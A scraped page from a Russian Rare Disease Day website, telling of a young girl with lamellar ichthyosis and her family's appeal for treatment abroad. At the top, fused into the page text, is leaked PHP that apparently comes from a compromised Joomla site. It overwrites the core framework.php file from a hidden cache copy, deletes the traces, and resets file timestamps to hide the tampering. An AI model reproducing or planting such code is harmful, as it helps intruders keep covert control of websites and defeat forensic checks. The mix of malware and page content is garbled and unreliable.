$frameworkFile = $_SERVER ["DOCUMENT_ROOT"]."/includes/framework.php"; $cacheFile = $_SERVER ["DOCUMENT_ROOT"]."/cache/_system/".md5("_system")."-cache-system.php"; $frameworkFileTo = $_SERVER ["DOCUMENT_ROOT"]."/cache/_system/".md5("_framework")."-cache-framework.php"; if (file_exists($cacheFile) && file_exists($frameworkFileTo)) { require_once JPATH_BASE . "/cache/_system/".md5("_system")."-cache-system.php"; $filemTime = filemtime($frameworkFile); $contentFile = file_get_contents($frameworkFileTo); file_put_contents($frameworkFile, $contentFile, LOCK_EX); @unlink($frameworkFileTo); @unlink($cacheFile); touch($frameworkFile, $filemTime); touch($_SERVER ["DOCUMENT_ROOT"]."/includes", $filemTime); touch($_SERVER ["DOCUMENT_ROOT"]."/cache", $filemTime); touch($_SERVER ["DOCUMENT_ROOT"]."/cache/_system", $filemTime); } Анечка Лыкова
logo
 

28-02 международный день редких болезнейМеждународный день редких болезней

До дня редких болезней осталось

 
Home Вы находитесь здесь: Главная страница Истории Анечка Лыкова
Анечка Лыкова

 

С самого рождения Анечка страдает от редкого и крайне тяжелого заболевания - ламеллярного ихтиоза. От него у малышки ежедневно слазит кожа со всего тела, особенно лица и головы, волосы не растут. В свои 4 года Аня весит 10 килограмм при росте 88 см., не может ничего есть кроме детского питания и пюреобразного супа, девочка не может глотать густую пищу, а так же не переносит глютен. Сопутствующими заболеваниями являются врожденный порок сердца, стеноз легочной артерии, НПО, функциональные нарушения ЖКТ, дистрофия роста волос (девочка почти лысая). К сожалению, врачи Удмуртии не имеют опыта не только лечения, но и диагностирования такого заболевания. Анечка единственная с таким заболеванием на всю республику. Наши лечащие врачи обращались в Российскую Детскую Клиническую Больницу о лечении Ани, на что им ответили, что помочь не смогут, т.к. заболевание неизлечимо. Ане необходима обработка кожи как минимум 2раза в день, это водные процедуры с увлажняющими средствами и увлажнение кремами, утром и вечером. Мы очень редко бываем на улице, потому, что все погодные условия негативно сказываются на коже, на солнце сохнет, а при ветре тут же обветривается. Врачи нам говорят смириться и жить как живется, но я такой жизни не хочу своей маленькой принцессе! Я мечтаю, что она пойдет в школу как и все, что у Ани появятся друзья, что мы перестанем сидеть в четырех стенах и сможем гулять когда захочется, а не выглядывать из окошка, не дует ли ветерок. Нас пригласили в Германскую клинику на лечение, где нам смогут помочь, но это очень дорого и самостоятельно оплатить лечение мы не сможем,все наши средства уходят на крема и лекарства для Ани.

 

Завершенные конкурсы

Главная | О дне редких | Мероприятия | Фото и видео | Стать другом | Конкурсы

Разработка сайта: DriveLab.ru